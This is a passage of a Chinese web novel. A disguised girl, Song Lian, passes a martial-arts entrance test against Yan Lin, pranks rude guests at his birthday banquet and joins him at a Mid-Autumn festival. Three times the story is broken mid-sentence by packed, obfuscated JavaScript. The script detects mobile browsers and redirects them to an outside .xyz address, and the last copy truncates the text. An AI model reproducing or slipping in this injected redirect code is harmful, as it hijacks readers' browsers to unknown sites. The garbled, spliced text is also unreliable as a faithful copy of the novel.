蒋明川见宋连回了话,一张圆圆的脸上颇有些得意,慷慨地掀起袖子,深吸口气鼓足力气,将胳膊递过来,只见筋肉凸起,“呐,你可以随便找根树枝石子什么划拉一下。” “不用。”宋连抽出那把背上插着的短刀,干脆利落地在男孩胳膊上划开了道口子。 “嘶,你下手真快,不过你怎么还随身带着把小刀啊,不愧是我看中的兄弟,果真与众不同,不如你以后教我蒋哥,我称呼你为陈弟吧!欸不行,不太好听,还是叫你小科吧,你觉得如何?” 宋连根本没在听这个话多的出奇的人在讲什么。此时她正全神贯注盯着那道伤口。 一,二,三…… 蒋明川话还没讲完,将要溢出来的血神奇地停滞住了,宋连自认并未收住力,这样长的一道口子竟只区区留下一条血线。 宋连不免震惊,惊讶之余又生出些羡慕来,这用来打架也太好用了,要是自己的该多好,宋连舔舔嘴巴。 “欸!好了,也很厉害吧,就是不如你的眼睛酷呢,”蒋明川揉搓了一会儿胳膊,确定它已经完全好了,“可惜没看见什么大石头好叫我举一举。” 两人结伴向前,蒋明川嘴一刻不歇,宋连反倒难得的拘束了,她所接触到的同龄人不是一起抢食的乞儿,便是战战兢兢话也不敢多说的“小童娘”,哪里应付得了这些? 终于在一块空地前看到了人,此刻那里已经聚集了五六位年岁不等的人。 “不是说广平侯亲自坐镇考核吗?” “是呢是呢,据说侯府独孙晏临也会来!怎么还不见人。” 啊,没来啊,宋连不免有些失望,自打前阵子听说了晏临的名号,使她生了学武的心思,又想亲眼见见这位武功不俗的少年,最好还能让他教自己两招。 其中一位身着布衣,鹤发长须的老者见蒋、宋两人前来,开口说道:“我姓楚,负责这次入学考核。人既已齐,一共七位,现在开始入学考核,看看你们是真材实料,还是鱼目混珠。” 这人声如洪钟,说话时目光扫射,宋连纵是天赋不假,也略微感觉到了紧张。 “你们谁先来?”老者眼神锐利,看向这一排七人。 “我!”宋连觉得,要想像话本里的厉害人物一样,自然要敢为人先了。 “小科,真厉害,加油加油!”蒋明川在底下悄悄给宋连比了个大拇指。 对于这个称呼,宋连很想翻个白眼。 “好!”楚教头眼神中有几分赞许,小小年纪能有如此胆量,确实难得。 “我记得其中蒋明川与你年岁相仿,天赋也都适合武学,不如你们二人对打?不必过于忧虑,本次入学考核只为检验你们有无造假。” 蒋明川一听点了自己名,又是与刚认的小科弟弟一同考核,正兴奋地准备拔腿—— “我来!” 这声音清朗温和,又携了些笑意。 宋连远远望去,只觉得见到了一位玉人,不禁有些看呆了。 4. 入学考核 来人衣着并不奢华,一身简单的月白圆领束装,腰间既无香囊也无其他吊坠,简单扎着马尾,也并未戴什么玉簪金环。远远瞧去,非但没有习武之人的粗莽,反倒有些像一位白面书生,只是气质更加干练、挺拔。 整个人素净至极。 晏临,宋连心下立刻冒出这个名字。 宋连还未见过如此齐整标志的少年,怔了一瞬,直到少年走近,心里还想着若是真有那话本里的男主角,也该是晏临这样。 那少年先朝老者行了个礼,笑着说:“晏临来迟,还望先生莫怪。祖父有要事耽搁,一会便到。” “无妨,考核才刚刚开始。只是这位小童毕竟年幼,武功底子想来也是筑基阶段,若你与他比武倒有些不太相配。”楚教头轻轻拍拍晏临的背,语气显得有些慈爱,完全没有和底下众人说话的严厉。 看来晏家在这京城官员中确实很受敬重。 晏临闻言转过身来,看着宋连的眼睛,笑眯眯地问道:“你是陈科,是吗?” 宋连罕见地有点紧张,那双眼睛笑起来好漂亮啊,眉眼都有些向上挑着,却不显得过分张扬凌厉,笑容又恰好淡化了这份贵气带来的距离感。 “是。”宋连听见自己的声音有些小小的,随即赶紧大声地喊了句是。 “别紧张,我听说过你的事,很厉害。我们只是简单地过几招,一来是看看你的天赋如何,虽然京中已有传言,陈大人当众展示过你的才能,只是缄默司规矩不能变,二来也是了解一下你的武功底子。”晏临说话不急不躁,和煦温柔,还特意弯下了腰,让自己的眼睛可以正对着宋连的眼睛。 “为了安全,我们都不要带任何武器了,好吗?”晏临瞥了瞥宋连后背,温和地询问。 他一下子就看出来自己藏在衣服里面的短刀! “是,是。”宋连慌忙把刀从衣服中取出来,正不知道放在哪里保管,那头蒋明川眼疾手快地拿了过去,还朝宋连递了一个有我在你放心去的眼神。 晏临已走到场上空地一端,朝宋连端正地行了一个“请”的手势。 呼,宋连轻轻长呼一口气,努力让跳得有些快的心平静下来。站定,再抬眼,此刻风都静止。 “我长你几岁,自负一只手。”晏临向后背过右手。 这话说起来真酷,我以后有机会也要这么说,宋连心想,又小小腹诽道,既然又年长好几岁又自小习武,个子也高出一大截,不如负两只手呢? 不过她当然没有这么说。她做起了起手式,此刻心情已经完全平和下来了。 她要好好打一场。 楚教头宣布,考核开始。 晏临并不着急出招,毕竟他面对的是一个仅仅八岁的童子,而且缄默司档案中显示陈科大病初愈,大约最近才刚刚习武。此行他的目的,是亲眼见识这世间罕见的异禀者天赋究竟几何。 只见宋连犹如豹子一般猛冲过去,足尖点地旋身飞踢,这一踢她并未收着力。该担心伤着人而束手束脚的是晏临,她自然不必自作多情以为可以伤到这位声名赫赫的武学奇才。 晏临如鹤展形,轻盈一跃便从宋连腿上越过,落到她侧面站定。 宋连一招不成,意料之内,此刻她飞快朝着晏临方向一记肘击,同时迅速弯下腰去,用另一只手去够晏临的腿。 晏临左臂连挡两下,变换身形向宋连另一面连踏七步。 宋连眼随他动,立时调整身位,后脚蹬地发力,右拳朝心口直线崩出,晏临侧身一躲,宋连左拳立刻跟上!左右两拳快速交替。 拳拳生风,宋连一点没留着力。 晏临一边侧身闪躲,一边笑着对宋连说:“确实同传闻里一样。” 宋连此刻才不管他说了什么,只觉得对手似乎开了一点小差,此时不偷袭更待何时。她右拳刚收,却没再出左拳,左腿迅速一个横踢! 晏临稍感意外,动作略微一顿,但还是在宋连腿快要扫到他侧腰时反手一握,控住了宋连的腿! 只见宋连也并未顿住,她右腿迅速蹬地,借力将右腿送出去,想要正踢晏临心口,只是这招用去,能不能踢到不说,宋连肯定是会摔倒在地的。她用力又如此不加节制,晏临自然清楚,他只好伸出原本负到身后的右肘将宋连右腿击下,又迅速拉住此时重心已向后仰去的宋连! 晏临这右手一揽,把宋连猛地撞进自己怀里! “你用右手,你犯规。” “你不出招,这不行。” 晏临听见怀里小童这么说,不免有些失笑,他将宋连轻轻扶正站好,随即笑道:“这局算我不对,下局我出招你来躲,看看你的眼睛有多厉害,可以吗?” “哈哈哈哈!”一声爽朗的笑声从场外响起,“你这孩子,有点意思,很好,不错!” “侯爷,您来了!”“祖父。”楚教头和晏临同时开口。 宋连循声看去,晏老将军久经沙场,即使身着便装也有股肃杀之气,只是此刻他神态放松,倒确有几分慈爱,像看孙子玩乐的老爷爷。 “人家说得对,晏临,也该出几招,别伤着人便好。”晏老将军笑呵呵地对晏临讲道。 “是。”晏临抱拳,转头望向宋连,此刻他倒真的对这个年幼的孩子升起了一丝敬意,对手如此认真,自己若是随意,岂不是傲慢?且撇开天赋不谈,即使没有天赋,凭这份凶悍,眼前的童子也是个习武的好苗子。 第二场,晏临打,宋连躲。 晏临旋身左臂抡圆意指劈向宋连右肩,他自然不敢真的劈下,掌风会在即将落下之际堪堪挺住,只为了看看宋连的闪躲速度。 宋连不知道晏临的心思,她自然会当真打来躲。 她新学了一招,不格不挡,足尖轻点一下,便犹如燕子抄水,斜掠而起,肩头只微微擦过晏临手掌。 不等晏临再有动作,宋连迅速几步碎步调整重心重新直立。 “你可以再快些。”宋连说道。 这又轮到晏临哭笑不得了,出招既要控力又要及时收住,比他平时练武到还要累些。不过既然是考她的天赋,也不必出什么花里胡哨的招数,只快速出拳罢了。 晏临左拳勾起,向宋连面中飞快砸去。宋连仰面下腰,拳影刚过忽而由左起身。晏临随之向左再次出拳,收拳之时右腿飞快扫过,宋连却在他出左拳时便瞧见了他右腿有微小的动作,提前做了准备,左手将还未扫来的腿迅速推去。 晏临继续出拳,拳头之快似有残影,宋连的眼睛每次都能捕捉他出拳要冲的方位,反应总比拳头堪堪快一瞬。 晏临这次变了,他要佯攻,左手方位似要直戳宋连双眼,宋连立刻判断向下躲去,没曾想晏临原本意在肩部,这一躲反倒将面部送到晏临拳下,晏临心里一惊,赶忙卸力欲将拳头停住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763650|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋连也是一惊,这拳头快无可避,也不知道晏临是收着力打的,眼见即将落下,这些年来的应激反应却快了大脑一步,她咬了下去! 宋连有两颗虎牙,咬人极疼。当她反应过来自己在做什么,赶忙松了口。有些小心地朝晏临看去。 晏临倒是连嘶一声也未有,眉头拧在一块,见宋连表情尴尬,立马换上了笑容,轻轻甩了几下左手,笑着道:“牙口不错。” “哈哈哈,”晏老将军走上前去,拍了拍宋连的肩,“不妨事!习武之人是要有一些血气的,不能光有花架子!” 楚教头出声:“陈科,你的考核过了,下去吧。” 下一位异禀者已经上场。 她有些晕晕乎乎地走下台去,胸腔里的心脏一直扑通扑通地猛烈跳着。 “瞧你热的,脸都烧红了。”蒋明川将他的水袋递过来,宋连呆呆地接过,水入口后才突然惊异自己竟然忘了防备,不禁为刚才的疏忽懊恼。 宋连此时无心观看旁人的考核,一心忍不住地回味场上的情形,只在蒋明川上场前简单地碰了个拳,还是他把手在宋连眼前晃了半天,宋连才反应到的。 人不多,考核很快就宣布结束,散场时,爷孙俩走时的背影在夕阳下显得如此幸福,宋连感到新鲜,瞧得有些入迷。 “小科,咱俩住一间房吧。”蒋明川抱着他的行囊又凑到宋连面前。 “不要。”宋连立刻拒绝了。山上屋子多人又少,一人一间绰绰有余。 “可是这山上人这么少,会不会有大虫啊?”,蒋明川赶紧拉住宋连胳膊,“咱俩一起住,半夜有野兽了我可以和你一起打跑!” “用不着。”宋连毫不动心。 “哎呀,小科,我悄悄和你说,你可不要笑话我,”蒋明川压低声音对着宋连耳朵,“我,我有点害怕。” 宋连这时不免有些惊异了,原来十岁的小孩独自睡在陌生山间是一件会害怕的事情吗? 见宋连脚步停住,蒋明川趁热打铁,“小科,你可不要和别人讲啊,我第一次离家,求求你了,你就当行侠仗义。” 这一点突然离奇得击中了宋连。 她旋即有些得意,马上端起了架子,“那在房间里,我说一——” “我绝不说二!小科你真好!”蒋明川立刻接话,飞快地抱了一下宋连,乐滋滋地一路跑到一间房门口,“小科,快来啊!这间好!” 宋连又被这突如其来的拥抱整得愣在原地,半晌才提着行囊走了过去。 宋连,你就当是照顾弱小了,这是一个优秀侠士必备的品质,小女孩心里默默念道。 谁知今晚躺在床上翻来覆去得睡不着,晏临漂亮的眼睛,温和的笑容总在脑子里挥之不去,宋连从未见过这般人物。 旁边床上响起蒋明川熟睡时均匀的呼吸声。 宋连闭上眼睛,这是她真正作为陈科的第一天,新鲜、激动、紧张,但似乎也并无多可怕。宋连想着,不知何时终于睡着了。 小小的一间房内,月色轻轻地洒在两个孩童熟睡的面孔上,暑日的深夜竟难得送来几缕凉风,吹得宋连脸颊上的碎发也微微拂动,就好像日子本该这样平静安宁,既没有身为乞丐的饥寒交迫,也没有身在陈府的腌臜逼迫、身不由己。 此时,尚且宁静,只是黑暗里潜伏着的,是未来终将会显现的危险。 5. 晏临生日 山上的生活按部就班,宋连获得了前所未有的安稳。 除了楚教头来指点武功外,学堂又专门请了教书先生前来讲学,先生每每上山,总要先歇息两个时辰喘喘气才行。不光如此,这届异禀者有位四五十岁的乡村的魏姓郎中,他的鼻子甚至可以嗅出晨间叶片和傍晚叶片的区别,为此,学堂又特地请来了宫中御医和有名的仵作特地教学。 异禀者们年岁不同,天赋也不同,往往是独自练习。 除了宋连和蒋明川。魏郎中为人亲切憨厚,宋连唤他老魏也不怒,经常笑着逗弄蒋明川,说他简直是陈科的跟屁虫。 宋连倒是很受用,这些日子过去她也习惯了身边一直围绕着一个叽叽喳喳虎头虎脑的小男孩,虽然他还比宋连大两岁呢。 这天正值中秋,学堂休沐,宋连又到了下山回陈府的日子,蒋明川家不在京城,不过他也跟着宋连一起下了山,说好不容易过节,也得出门凑凑热闹。 “少爷,老爷今日府中有客,您不必回府了。”山脚下,小厮恭恭敬敬地低着头说道。 每月休沐的日子陈府都派人在山脚等着,宋连一出现便立刻接回府去,生怕她多和别人接触,这次倒是奇了,不过宋连倒也乐得自在,摆摆手让小厮回去。 “这下我们可以一起逛京城了!”蒋明川兴高采烈,“早就听说京中遇仙楼最是一绝,咱们也尝尝去!” “你有钱?”宋连震惊,平时它的客人可都是高官富绅,陈老爷都难以负担,更别说是一个外地来的十岁小孩了。 蒋明川倒是疑惑了,“当然有啊,没钱怎么逛京城,”随即将他袖子里的钱袋子放到宋连手上,“我请客!” 宋连先是被钱袋重量吓了一跳,解开袋子向内看去,更是震惊得一时说不出话来,“你哪来的钱?” “当然是入京前父亲给的呀。” “你家很有钱?”宋连拍下他的手,面带狐疑地上下打量着他一身平实普通的衣服。 “做点小生意吧,我父亲说了,要财不外露”蒋明川倒是不太好意思了,“快走吧,馋死我了!” 原来是富商家的小儿子,宋连回想到遇见蒋明川后他大大咧咧的劲儿,倒确实像富贵家中宠大的孩子。 那就去吧,宋连不禁也雀跃起来,传闻中的遇仙楼,今日她也是能进去坐坐了! 如今还是下午,街道上已是熙熙攘攘。 “瞧一瞧,看一看嘞!刚出炉的团圆饼!芝麻枣泥豆沙全都有诶!” “秋果新摘,月神贡品嘞!” “有了兔儿爷!来年必平安!” …… 两人眼花缭乱,瞧都瞧不过来。 “还是先去遇仙楼!晚上再出来瞧!”纵是宋连心智早熟,此时也掩不了孩童心性,拉着蒋明川一路飞奔,眼睛还不住往西瞅瞅东看看,很是激动新奇! 两人到了遇仙楼下,瞧见这竹木彩棚,绸缎花球,一派富丽,不禁小小感叹。 正欲抬腿跨入,却被一只胳膊拦下,向上一看,原来是酒馆的堂倌,“去去去,这不是小孩子该来的地方!” “我们来吃饭的!”蒋明川喊道。 “吃饭去别家,这不是你们能来的地儿!”堂倌不耐烦道。 “我们有钱!”宋连有些恼怒。 那堂倌不欲与俩小孩多言,眼睛一翻,横竖是拦在门前。 宋连正要朝他胳膊劈去,想要硬闯—— “陈科?”里面传来一句熟悉的声音。 晏临!这声音绝对是晏临的!宋连眼睛一下子亮了。 下一刻,晏临果不其然出现在门前,今日他不穿练武的束装,一身大红织金麒麟圆领袍,戴着顶累丝嵌宝束发冠,腰间系着四合如意玉带板,又挂着一枚长命锁。 原来他还会穿得如此艳绝,宋连又看得恍了神,这艳丽又富贵的着装在他身上一点不显得俗气,反倒在绯衣似火的映衬下,更显得少年肤色胜雪,眉目淡雅柔和,身段挺拔如竹,玉一样的清透。 真是仙子下凡。 “晏小公子认识?”那堂倌立马让了身,弓着腰请二人进去。 蒋明川眉开眼笑,立刻就要走进门去,宋连一把拽住他。 “那你是不是要向我们赔个不是?”宋连瞪着那堂倌,有人撑腰自然要讨个说法。 “是是是,是小的眼拙,您二位里面请。”堂倌立刻识时务地弯下腰。 宋连这才带着蒋明川走进去。 “今日是我十四岁生辰,你们愿意一起吗?”晏临笑眯眯地问道,丝毫不在意刚才宋连狐假虎威的得意样子。 二人一听,异口同声响亮应了声好! 美人相邀,谁能拒绝,宋连的心又开始砰砰直跳,跟着晏临就往二楼走去。 走在路上,她不免好奇地向四周看去,一楼中央有舞姬跳舞,那美人身段窈窕,舞姿婀娜,一手扯了根从楼顶垂直而下的丝带翩翩起舞,随着鼓点愈来愈紧,她轻盈一跳,竟然随着丝带飘在空中,宋连不禁小小惊呼。 又怕这惊呼让晏临听见,女孩赶紧止住了声,又朝楼梯侧边看去,梁柱朱红,尤显富贵,壁画满墙,精巧细致,地上还铺着柔软的毯子,宋连视线稍稍上移,少年的衣角绣着淡淡波纹,在光影下微微浮动,扰得宋连的心也随着摇曳。 晏临边走,边不住回头望去,确认两个小童有在跟上,“今晚设席,没有长辈,只是几位年纪相仿的伙伴,不必拘束,”上了台阶,晏临又在前面掀开廊道中层层帘子,好让二人方便通过,“你们能愿意来为我庆生,我很高兴。” 少年的嗓音清润,像溪水柔柔地流进人心口。 “到了,”晏临停在一个雅间门口,“你们想吃什么,随意点就行,屋内已到齐了人,你们虽然不认识,但不必紧张。” 宋连哪会因为几个官家子弟紧张,且不说她本身就有些天不怕地不怕的莽气,在这种情形下,她还晕晕乎乎地陷在和晏临同桌用餐的兴奋中。 晏临推开门,屋内响起此起彼伏的招呼声。 “晏临回来了,上座可给你留着呢” “这两位是?”有一蓝袍少年问道。 “陈科,蒋明川,是我新结识的好友。”晏临双手扶着二人肩头,向里面人介绍道。 一句“好友”让宋连心头一跳。 宋连扫了一眼,屋内六人,都是和晏临差不多年岁的官家少爷,绫罗绸缎、金冠玉带,想是来赴晏家的宴席,大概都会收拾齐整。 这一比较,倒显得宋连和蒋明川极为朴素。 怪不得楼下堂倌拦人,宋连不禁暗自咂舌。 晏临作为主家自是要坐上座,不过他入座之前也贴心地为宋连二人安排好了位置。 房内区区九人,酒家便派了四个长随并两个跑堂伺候,为首的长随眼见晏临落座,便机灵地去通传上菜。 宴席上其余几位显然是熟识,或者对官家子弟之间相互往来之事极为熟稔,互相打着趣,又说了不少恭维晏临的吉利话。 “晏临当时在场就那么随手连发几只箭,靶心都要被扎穿!” “可不吗,我看着旁边小公主都看呆了。” “晏临真是好福气呐,以晏临的功夫,来日做个将军不在话下!若皇上又把公主许给你——”那人一边说着,一边朝晏临挤着眼笑。 “皇亲贵胄,不可多谈,”晏临朝那人碰了碰酒,“今日当你这小泼皮说些酒话。” 众人又是哈哈一笑,满桌人热热闹闹,宋连二人倒是有些融不进去了。 蒋明川在桌子底下悄悄捏了捏宋连的手,压低声音道:“小科,我有些坐不住了。” 宋连其实也是坐立不安,那人的调笑让她有些没来由的郁闷。 “说起射箭,陈科的眼睛极为厉害,日后必定远胜于我,”晏临看这二人插不上话,坐在席间颇为尴尬,主动递了话头,又担心宋连接不上,又跟了句,“我倒是大意了,给这两位的酒换成杏仁茶,”晏临转头望向两人,“或者醪糟甜酿呢?” 宋连忙应声回了句。 “贵客,来菜!”那长随这次端进来好大一个托盘,远看上去金光灿灿,“本店招牌——蟹酿橙!有道是“橙黄蟹肥正当时,玉盘珍馐谢秋风!小的也在这里祝晏公子生辰大喜了!” 说话间,那人边将菜一一分到每人盘中,宋连学礼时见过这道菜的介绍,当时书上说的是“取秋霜肥蟹剔膏腴,辅以吴山黄橙作玉盅“,想来将这蟹肉放进橙皮之中,更显鲜美。 宋连正要大快朵颐,尝尝这大名鼎鼎的菜究竟滋味几何,却听见对面几人嗤嗤的笑声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763651|174495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那小子怎么连橙皮也吃,怕是从未吃过这道蟹酿橙吧,哈哈哈。” “欸,此言差矣,看这穿着该是第一次踏入遇仙楼。” “外地小门小户来的吧,真是没见识,也不嫌丢人。” 这席间人看来也就是巴巴地对着晏临尊敬,喝了点酒便原形毕露,什么平时拜高踩低的样子都出来了。 宋连往旁边一瞧,正是咬了一瓣橙子皮,面色尴尬的蒋明川,此刻那橙皮还在嘴中,酸得他有些呲牙咧嘴,偏偏嘴里含着东西也无法开口回敬,只能由那几人笑得涨红了脸。 宋连顿时火冒三丈,这些日子相处,她早已把蒋明川划到自己的领地里,怎么能让他人取笑!正要起身理论—— “晏临,你?”蓝袍少年疑惑地看着晏临。 宋连偏头看去,只见晏临正在慢条斯理、津津有味地咬下那橙瓣! “早就好奇这橙皮滋味,”晏临笑着对众人说,“还好有明川打样,我也好趁着尝尝。橙皮本酸涩,正好可以借蟹肉去了涩味。” 一时之间,众人脸色精彩纷呈,尤其那三人,料不到晏临如此行事,脸色一阵青一阵白,只好默不作声低头扒饭。 那蓝袍少年忙打了圆场:“想来是蒋弟弟喜酸,我就算了,吃不来酸。” 经晏临此举,宋连此刻怒火已经稍稍平息,火气稍消,诡计就来,她想到楼下刚好有丛猪秧秧…… “我出去一趟。”宋连快速地对蒋明川低声说道。 溜到楼下,宋连麻利地拽了几根猪秧秧草,回酒楼叫那跑堂的拿去洗洗切碎,再盛到盘子里来,那跑堂的见她是楼上晏临带上去的客人,二话不说就去了,不稍片刻,便将洗好切好的草叶盛在一个精致的小盘子里递给宋连。 宋连喜滋滋地端盘上楼,一推开门便大声朝刚刚嘲笑蒋明川的几人说道:“我这也有一道菜,泡进汤里喝下清热解毒,你们肯定没见过。” 众人眼光都被宋连吸引过来,那几人面面相觑,都不知道宋连想干什么,便朝晏临看去。 宋连也不等他们反应,上手就把猪秧秧倒进三人碗中。 那三人见晏临也不发话,只是饶有兴趣地朝这边看来,更有些不知所措。但想来大庭广众之下又是官家子弟,这陈科也不会做什么,别人大方递来的东西也不敢吃倒显得自己畏畏缩缩。 几人相互对视,便拿起汤勺喝了下去。 “倒不知道是什么新鲜玩意,独那几人有,我们便只能吃些晏临爱吃的,哎。”那蓝袍少年见席间众人一时沉默,便又带起了话题。 “还能缺了你吃,”晏临朝那人笑道,似是相熟,“把单子再给他瞧瞧,这顿饭管你够!” 如此,席间又活跃起来。 宋连几乎是跳跃着回了座位。 “小科,那是什么?”蒋明川此刻脸色还微微泛着红,小声问道。 “等着瞧呗。”宋连神秘一笑。 过了半晌,酒足饭饱,就在少爷们都打算玩些行酒令时,突然从宴席中发出“噗噗”的声音。 众人一时收了声,对面三人脸色潮红,又是一阵“噗噗”声穿来,一人快速起身冲了出去,旁边人悄悄拿手掩着鼻,眼见同伴走了,另外俩人也实在忍不了,跟着冲了出去。 还不待他们出门,宋连赶紧说道:“怎么宴席之中还出虚恭啊,这可不是京城人做派!” 那几人顿时明白是刚才那盘草叶一样的东西捣的鬼,但实在是腹泻难忍,又控制不住地一直放屁,也等不得和宋连算账,只能一味先往更衣处跑。 宋连一阵畅快,乐得呵呵直笑,只是为了晏临不太难做,这宴席是呆不下去了,宋连拉着蒋明川起身,先朝晏临道了句歉,又赶紧解释道:“这草不妨事的,不消一个时辰变好,给你惹麻烦了,我俩这就走!” 她做完了坏事,才显得有些紧张,小心翼翼看着晏临脸色。 晏临今日吃了不少酒,脸上升起两片酡红,在红衣之下显得眼波潋滟,眸光迷离,他好像没有对宋连顽童之举觉得生气,只轻轻笑道,“夜色将深,路上慢些。” 二人出了门,蒋明川才啪啪鼓起了掌,“小科,真有你的!” 宋连得意一笑,“走!逛京城去!” 突然衣服被背后拽住,“耍完了人想跑?” 6. 月夜同游 宋连暗叫不好,回头看去,果真是那三人。 “怎么?只许你们酒后捉人取笑,还不准我以牙还牙?”宋连嘴上气势绝不能弱,心里已在盘算,也不知他们是哪家有头有脸的人物,若是打起来会不会闹得满城皆知,但若他们动手,自己必定还击,二对三打不过就赶紧溜走。 “哼!陈科,你也不过仗着自己是个异禀者,还干出那等众人之下砍人手掌的野蛮事,今天一见,果真粗俗!”其中一人说道。 “你,你们才粗俗!”蒋明川立刻梗着脖子挡在宋连身前。 “是啊我就是粗人,可我这粗人也不会在席间如此敞亮出虚恭,”宋连又上前仰着头,眼睛亮亮的,直不溜丢与那人对视,“现在怎么有空出来,不在茅房里了?” 那人被如此一激,猛地把蒋明川往旁边一扯,他岁数小个子低,一下子便被扯开了,作势要朝宋连挥拳。 “你想打架?”宋连面对着比自己高出不少的人也丝毫不惧,甚至有种隐约的期待和激动,这才算什么场面,小打小闹,她心里暗暗说道。 那人一听,自是不会把这两个小毛孩放在眼里,正要往宋连肩膀用力一推,胳膊已经出去,宋连眼睛如何机敏,早就向前弯身躲过,一拳迅速砸在那人腰间。 那人顿时气恼,要招呼着后面俩人一起教训一顿宋连,正在这时—— “李昆,你们在干什么?”晏临立在门口,语气严肃。 “晏临,你怎么总护着他俩?”那人虽然止住动作,但很不服气地看向晏临。 “小孩正是爱玩闹的年纪,更别论是你们酒后失了风度在先,”晏临走上前直视着那人,“去晏府找林伯,他会给你们拿些药。” 眼见是晏临的态度,他们轻易也不会因为这点小事开罪晏家,嘀咕几句便走了。 “是父亲要我组的局,平日里也不来往的”晏临酒后声音略微有些低沉,钻进耳朵里说不上来的甜腻,“中秋城中一定很热闹,要一起走走吗?”。 “其他人呢?”宋连当然欢喜,但也不免疑问。 “让他们自己玩儿去!”晏临脸上头一次出现如此直白的、张扬的笑容,眼睛里星子闪烁,宋连觉得自己一定又是被仙子蛊惑了心神。 蒋明川也很乐意,他想着今日与晏小公子同游,来日说与人听指不定多让人羡慕呢! 夜色渐起,城中各户都挂上了灯笼,街道上人头攒动,月色和烛光交融,汇在街市如流动的星河。 “当朝萧贵妃,有道是那月神下凡,万千姿态。眼眸流转如秋水月华,朱唇一点似樱桃含露,肌骨玉色同初雪赛魄。皇上当日微服私访,只消稍稍见她一眼,便乱了心神,立刻召她入宫为妃,”有一说书人支了个小摊子,底下不少孩童听得津津有味,他喝了一口茶水接着讲,“下面咱们说起,那皇上为了给她贵妃的位置,又将刚出生的四皇子抱予她膝下……” “真有女子如此绝色吗?”宋连听得有些痴了,“小童娘”一事中,她总觉得女子娇容不是什么好事。 “未曾面见过萧贵妃,不过听传确实如此。”晏临回道。 “快!前面有打火花!”蒋明川不耐听那说书,一把拉住宋连向前跑去。宋连想招呼着晏临一起,谁知一把便抓住了晏临的手。 少年的手骨节分明,掌心温热,有些薄茧,他也握紧了宋连。 在一处空地前,有杂耍班子正在打火花,那火焰如同流星一般蹭得向空中炸去,惹得周围人一片叫好,只是围着的人群里三层外三层,宋连个头小,有些看不清。 “你能看到吗,我将你举高一些吧。”晏临问道。 宋连一顿羞赧,连忙摆手,拉着蒋明川说去前面再看看。 “瞧一瞧看一看嘞,连中十箭,灯笼您拿走诶!”听到有小贩叫卖射箭得礼物,晏临瞧着那玉兔灯笼正是冰雪可爱,送给二人正好,便兴致勃勃拉着两人过去,递给小贩十文钱。 宋连还没见过晏临射箭,只见少年干净利落地搭好箭,侧身直立,拉开弓弦,手腕有两根青筋轻微凸起,在月色下更显手指白皙,眼睛略略一眯,啪一声再松开弓,箭迅直飞去,正中靶心!少年也并不停顿,下一只箭迅速搭好,再发!不消一会,十只箭全中靶心! 蒋明川边鼓掌边大声叫好,宋连头次对箭有了心驰神往的感觉,以往她只爱短刀肉搏,喜欢血脉贲张,晏临却把箭射得赏心悦目。 晏临放下弓,眉毛轻扬起,胭脂般的红从脸颊烧到眼尾,“怎么样?要和我学射箭吗?” 一边小贩倒是傻了眼,怎么刚一开张就输了头彩。 晏临又递给那小贩二十文,“那灯笼我买下来。” 蒋明川嫌那粉色的兔儿头是女孩子的玩意不肯拿,灯笼自然落到宋连手中,烛影微晃,映得脚下一片暖黄。 “这是晏小公子吧?” “是吧是吧,我以前远远瞧见过,这脸错不了。” 旁边有行人似乎认出了晏临。 “晏小公子舞段剑!”有人胆子大,远远吆喝道,不禁惹来更多人侧目。 “是晏家的小公子吗?果真是气度非凡。” 见晏临也不恼,又有些人大着胆子请晏临舞一段。 晏临丝毫不扭捏,当即笑着对周围说,“那晏某就献丑了!” 宋连没想到晏临作为赫赫有名的晏老将军独孙竟随和到这种地步,如此爽快便应下,只见他站定,拔剑出鞘,念了句:“踏雪,剑来!” 他的佩剑叫踏雪,剑随主人,宋连心道。 只见晏临剑锋斜挑,弯腰下身,剑见从地上勾起一朵杏花来,倏尔扭腰,回身横扫,剑气一出,宋连手上的灯笼烛光都摇三摇。却见那杏花并不掉落,仍在剑尖。 “好!”围观的路人多了起来,不住的叫好。 再看晏临左腕轻抖,右步后撤,将剑在空中画出圆弧,直引得风声赫赫,再一佯装醉意,如醉汉踉跄半步,剑勾得路人腰间酒壶,旋身向后卧倒,剑柄抵住后腰,一手打开酒壶,酒水流入喉中,酣畅淋漓。 路人叫好声已是震天响,谁能轻易见到这样好的剑招,这样美的身段,还是晏家公子为他们表演! 红衣舞剑,月色当空,晏临再一笑,那漂亮的眼睛几乎勾得宋连失神。 却见晏临单足立定,飞身一跃,竟在空中绕身旋转,红袍飞舞,像在空中绚烂绽开的花,倏忽,晏临抛剑,那剑直直向宋连飞去! 众人一阵惊呼! 宋连瞧那剑飞来,立刻懂了晏临心思,定睛一看,纵身跳起,轻松便在空中接到了那柄剑。 众人以为是二位提前设计好的,连连喝彩,夸赞宋连年纪不大,却也是个中好手。 晏临舞毕,再行一礼,牵着二人退去。 宋连仰头望去,少年意气风发,红衣黑发,眉眼皆是畅快的笑意。 三人又转了转,蒋明川有些哈欠连天,悄悄问道:“小科,咱们回去吧,天也很晚了。” 宋连哪里舍得,正要说再过一会,就听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 